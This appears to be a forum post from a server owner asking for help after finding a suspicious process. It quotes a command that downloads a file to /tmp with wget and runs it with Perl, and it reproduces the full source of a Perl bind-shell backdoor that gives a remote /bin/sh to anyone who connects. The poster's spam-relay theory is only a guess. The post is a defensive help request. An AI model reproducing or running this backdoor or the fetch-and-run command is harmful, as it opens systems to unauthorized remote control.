LinkBack URL
About LinkBacks
hacked ???? www.uhagr.org
while looking over some thing on a server I came across this line....
nobody 32749 0.0 0.0 2100 972 ? S Apr17 0:00 sh -c cd /tmp ; wget http://geocities.yahoo.com.br/wzrdrox/bd.txt ; perl bd.txt 2001
I go to that URl and found :
#!/usr/bin/perl
##############################################
# Simple backdoor by UHAGr coded by ghostian #
# usage: ./UHAGr-bd.pl <port> (default 75000)#
# On shell ls = ls; etc. #
# www.uhagr.org #
##############################################
use IO::Socket;
$msg = "echo ::[UHAGr] Yeah! ::-";
$port = ($ARGV[0]);
$shell = "/bin/sh";
if (!$port) { $port="75000"; }
$local = IO::Socket::INET->new(Proto=>"tcp", LocalPort=>"$port",
Listen=>"1") or die "Port allready in use \n";
print "
##############################################
# Simple backdoor by UHAGr coded by ghostian #
# usage: ./UHAGr-bd.pl <port> (default 75000)#
# On shell ls = ls; etc. #
# www.uhagr.org #
##############################################
";
while (accept(remote, $local)) {
open(STDIN, ">&remote");
open(STDOUT, ">&remote");
open(STDERR, ">kick");
system($msg);
system($shell);
close(STDERR);
close(STDIN);
close(STDOUT);
system("rm kick");
}
at http://www.uhagr.org/ I find some tools to exploit servers etc...
I do think we have some kinda backdoor open on this server, I'm no expert at all, so reason I come and ask here what it does, what sys admin could do to close this and where to find the file or how to find it....
my feeling, it is used to open relay to spam, personal opinion....
or am I completely wrong ???
thanks a lot for your help in this matter
Reply With Quote
Originally Posted by r00t316
